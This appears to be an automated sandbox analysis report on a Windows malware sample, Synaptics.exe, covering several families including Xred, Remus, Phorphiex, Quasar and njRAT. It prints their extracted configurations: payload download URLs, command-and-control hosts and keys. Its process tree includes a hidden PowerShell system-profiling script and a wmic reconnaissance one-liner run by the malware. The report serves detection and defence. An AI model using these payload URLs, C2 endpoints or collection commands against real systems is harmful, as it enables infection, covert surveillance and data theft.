Resubmissions
06/11/2026, 14:36
261106-rylrnaxz9r1004/11/2026, 21:57
261104-1txsssvwgz03/11/2026, 22:02
261103-1xxxzazy2l1003/11/2026, 21:57
261103-1t4lcawwes1003/11/2026, 21:50
261103-1p66nsfx2r1003/11/2026, 21:48
261103-1n9keazx5r1026/10/2026, 02:22
261026-ctm2lazv7j1024/10/2026, 06:44
261024-hhl8taxx2r23/10/2026, 16:14
261023-tpvpbatt6q1018/10/2026, 12:47
261018-p1by5acz5n10Analysis
- user interaction
yes - max time kernel
251s - max time network
305s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 04:36
General
- Target Synaptics.exe
- Size 764KB
- Sample260729-e8nb1sgn9y
- SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
Malware Config
Extracted
-
xred
-
xred.mooo.com
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
-
remus_stealer
-
http://carogra.biz:4219
-
http://myrtler.biz:9549
-
http://angect.xyz:7838
Extracted
-
phorphiex
-
http://178.16.55.240/last_/
-
235355eeeeeeeeeeeeee
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36
Extracted
-
quasar
-
encryption_key
E679E56ABD1A0F53D68F323812B24E67488502F6
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Extracted
-
njrat
-
im523
-
TrupAshot
-
documents-elegant.at.ply.gg:54835
-
4a87b5397a2736773782f50e108b2da4
-
reg_key
4a87b5397a2736773782f50e108b2da4
-
splitter
|'|'|
Signatures
- Family: AnimateClipper
AnimateClipper is a Windows crypto clipper that hijacks the clipboard to swap wallet addresses.
- Family: Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: Remus
Remus is a stealer written in C++.
- Family: Xred
Xred is backdoor written in Delphi.
- Family: njRAT/Bladabindi
Widely used RAT written in .NET.
- Detects AnimateClipper 1 IoCs
- Quasar payload 3 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Powershell Invoke Web Request.
- Downloads MZ/PE file 15 IoCs
- Manipulates Digital Signatures 1 TTPs 2 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Signed with revoked ConnectWise certificate 5 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Uses browser remote debugging 2 TTPs 4 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 18 IoCs
- Loads dropped DLL 59 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 9 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- Suspicious use of SetThreadContext 2 IoCs
- UPX packed file 56 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Detects Pyinstaller 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 16 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 7 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 4 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 3 IoCs
Inno Setup installer
- NSIS installer 2 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Kills process with taskkill 5 IoCs
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 22 IoCs
- Modifies system certificate store 2 TTPs 4 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 30 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\1.exe"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"3⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\kg.exe"C:\Users\Admin\AppData\Local\Temp\Files\kg.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ui.exe"C:\Users\Admin\AppData\Local\Temp\Files\ui.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\ui.exe"C:\Users\Admin\AppData\Local\Temp\Files\ui.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\MC_setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\MC_setup.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-ITQR1.tmp\MC_setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-ITQR1.tmp\MC_setup.tmp" /SL5="$401B6,9780032,1166336,C:\Users\Admin\AppData\Local\Temp\Files\MC_setup.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\online.exe"C:\Users\Admin\AppData\Local\Temp\Files\online.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\online.exe"C:\Users\Admin\AppData\Local\Temp\Files\online.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $ErrorActionPreference = 'SilentlyContinue' $os = Get-CimInstance Win32_OperatingSystem $cs = Get-CimInstance Win32_ComputerSystem $cpu = Get-CimInstance Win32_Processor | Select-Object -First 1 $bios = Get-CimInstance Win32_BIOS $board = Get-CimInstance Win32_BaseBoard $product = Get-CimInstance Win32_ComputerSystemProduct $publicIp = $null try { $publicIp = (Invoke-RestMethod -Uri 'https://api.ipify.org?format=text' -TimeoutSec 10).ToString().Trim() } catch { try { $publicIp = (Invoke-WebRequest -UseBasicParsing -Uri 'https://api.ipify.org' -TimeoutSec 10).Content.Trim() } catch {} } $disks = Get-CimInstance Win32_LogicalDisk -Filter \"DriveType=3\" | ForEach-Object { [PSCustomObject]@{ device = $_.DeviceID label = $_.VolumeName filesystem = $_.FileSystem size_bytes = [int64]$_.Size free_bytes = [int64]$_.FreeSpace } } $adapters = @() try { $adapters = Get-NetAdapter -Physical | ForEach-Object { $adapter = $_ $ipcfg = Get-NetIPConfiguration -InterfaceIndex $adapter.ifIndex [PSCustomObject]@{ name = $adapter.Name description = $adapter.InterfaceDescription mac = (($adapter.MacAddress -replace '-', ':').ToUpper()) status = [string]$adapter.Status ipv4 = @($ipcfg.IPv4Address | ForEach-Object { $_.IPAddress }) gateway = @($ipcfg.IPv4DefaultGateway | ForEach-Object { $_.NextHop }) dns = @($ipcfg.DNSServer.ServerAddresses) } } } catch { $adapters = Get-CimInstance Win32_NetworkAdapterConfiguration -Filter \"IPEnabled=True\" | ForEach-Object { [PSCustomObject]@{ name = $_.Description description = $_.Description mac = (($_.MACAddress -replace '-', ':').ToUpper()) status = 'unknown' ipv4 = @($_.IPAddress | Where-Object { $_ -match '^\d+\.' }) gateway = @($_.DefaultIPGateway) dns = @($_.DNSServerSearchOrder) } } } $roots = @( 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' ) $programs = foreach ($root in $roots) { Get-ItemProperty $root | Where-Object { $_.DisplayName } | ForEach-Object { [PSCustomObject]@{ name = [string]$_.DisplayName version = [string]$_.DisplayVersion publisher = [string]$_.Publisher install_date = [string]$_.InstallDate } } } $programs = @($programs | Sort-Object name, version -Unique) $defender = $null try { $mp = Get-MpComputerStatus $defender = [PSCustomObject]@{ antivirus_enabled = [bool]$mp.AntivirusEnabled realtime_enabled = [bool]$mp.RealTimeProtectionEnabled signatures_updated_at = if ($mp.AntivirusSignatureLastUpdated) { $mp.AntivirusSignatureLastUpdated.ToString('o') } else { $null } } } catch {} $result = [PSCustomObject]@{ schema_version = 1 collected_at = (Get-Date).ToUniversalTime().ToString('o') hostname = $env:COMPUTERNAME username = [Environment]::UserName domain = $cs.Domain workgroup = $cs.Workgroup public_ip = $publicIp os = [PSCustomObject]@{ caption = $os.Caption version = $os.Version build = $os.BuildNumber architecture = $os.OSArchitecture installed_at = if ($os.InstallDate) { $os.InstallDate.ToUniversalTime().ToString('o') } else { $null } last_boot = if ($os.LastBootUpTime) { $os.LastBootUpTime.ToUniversalTime().ToString('o') } else { $null } } hardware = [PSCustomObject]@{ manufacturer = $cs.Manufacturer model = $cs.Model total_ram_bytes = [int64]$cs.TotalPhysicalMemory cpu = $cpu.Name cpu_cores = $cpu.NumberOfCores cpu_logical = $cpu.NumberOfLogicalProcessors bios_serial = $bios.SerialNumber bios_version = [string]$bios.SMBIOSBIOSVersion motherboard_manufacturer = $board.Manufacturer motherboard_product = $board.Product motherboard_serial = $board.SerialNumber motherboard_uuid = $product.UUID } disks = @($disks) network_adapters = @($adapters) programs = @($programs) security = [PSCustomObject]@{ defender = $defender } } $result | ConvertTo-Json -Depth 8 -Compress "5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe"C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file_a8b257b458693ac9.exe"C:\Users\Admin\AppData\Local\Temp\Files\file_a8b257b458693ac9.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PCclear_Eng_mini.exe"C:\Users\Admin\AppData\Local\Temp\Files\PCclear_Eng_mini.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe"C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe"3⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
- Downloads MZ/PE file
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Apps\2.0\DBH87QP3.QEJ\31BX57XN.NAE\scre..tion_25b0fbb6ef7eb094_0019.0002_1dd4c96df6dd51e2\ScreenConnect.WindowsClient.exe"C:\Users\Admin\AppData\Local\Apps\2.0\DBH87QP3.QEJ\31BX57XN.NAE\scre..tion_25b0fbb6ef7eb094_0019.0002_1dd4c96df6dd51e2\ScreenConnect.WindowsClient.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\EmmetPROD.exe"C:\Users\Admin\AppData\Local\Temp\Files\EmmetPROD.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic computersystem get name, TotalPhysicalMemory /Value && wmic os get caption /Value && wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value && ipconfig | find "IPv4" | find /N ":" | find "[1]"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic computersystem get name, TotalPhysicalMemory /Value5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic os get caption /Value5⤵
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value5⤵
-
-
C:\Windows\SysWOW64\ipconfig.exeipconfig5⤵
- Gathers network information
-
-
C:\Windows\SysWOW64\find.exefind "IPv4"5⤵
-
-
C:\Windows\SysWOW64\find.exefind /N ":"5⤵
-
-
C:\Windows\SysWOW64\find.exefind "[1]"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\BootstrapperNew.exe"C:\Users\Admin\AppData\Local\Temp\Files\BootstrapperNew.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/w9yACJan554⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x394,0x7ffb6124c188,0x7ffb6124c194,0x7ffb6124c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,9195562837654865874,863512978430971310,262144 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1656,i,12897258373084188838,14334574579855774632,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=2552 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2212,i,2096533400575456686,1037177811983059214,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3556,i,2066975267391853169,11310753919916625829,2097152 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3628,i,11422239920859038525,421880976920100994,2097152 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4252,i,4300598706483587764,3245707318982251732,2097152 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=4572 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4232,i,12579950178415624976,12162706596778148548,2097152 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,13064056977784631526,6629312942522792827,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3508,i,16041551431499891599,15138615794068530309,2097152 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4956,i,8952296435895778069,9919354919613343479,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3628,i,7034769059867907852,7180121863916887870,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6080,i,6892971118063896487,11952632003553201358,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6076,i,15984415484385633953,5784524779217371330,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=6084 /prefetch:125⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4256,i,5871009658319268670,3857471106878501763,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4256,i,5871009658319268670,3857471106878501763,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6884,i,12028757433487848088,13428992289198935358,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=6872 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6348,i,2096963787756882402,10385083739269587110,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=6840 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6252,i,14757467429070905254,1337062775973793729,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6872,i,16808985160515603785,5388453607992087016,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5448,i,12099271639947333022,5350361460021724250,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6660,i,3170886644597942665,14046020955781907170,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5848,i,17094962494648821370,14770569149040117968,524288 --field-trial-handle=2524,i,7221194692003538048,18154932180455405607,262144 --variations-seed-version --mojo-platform-channel-handle=6884 /prefetch:145⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1158-27.exe"C:\Users\Admin\AppData\Local\Temp\Files\1158-27.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\yj4awfud.vot"4⤵
-
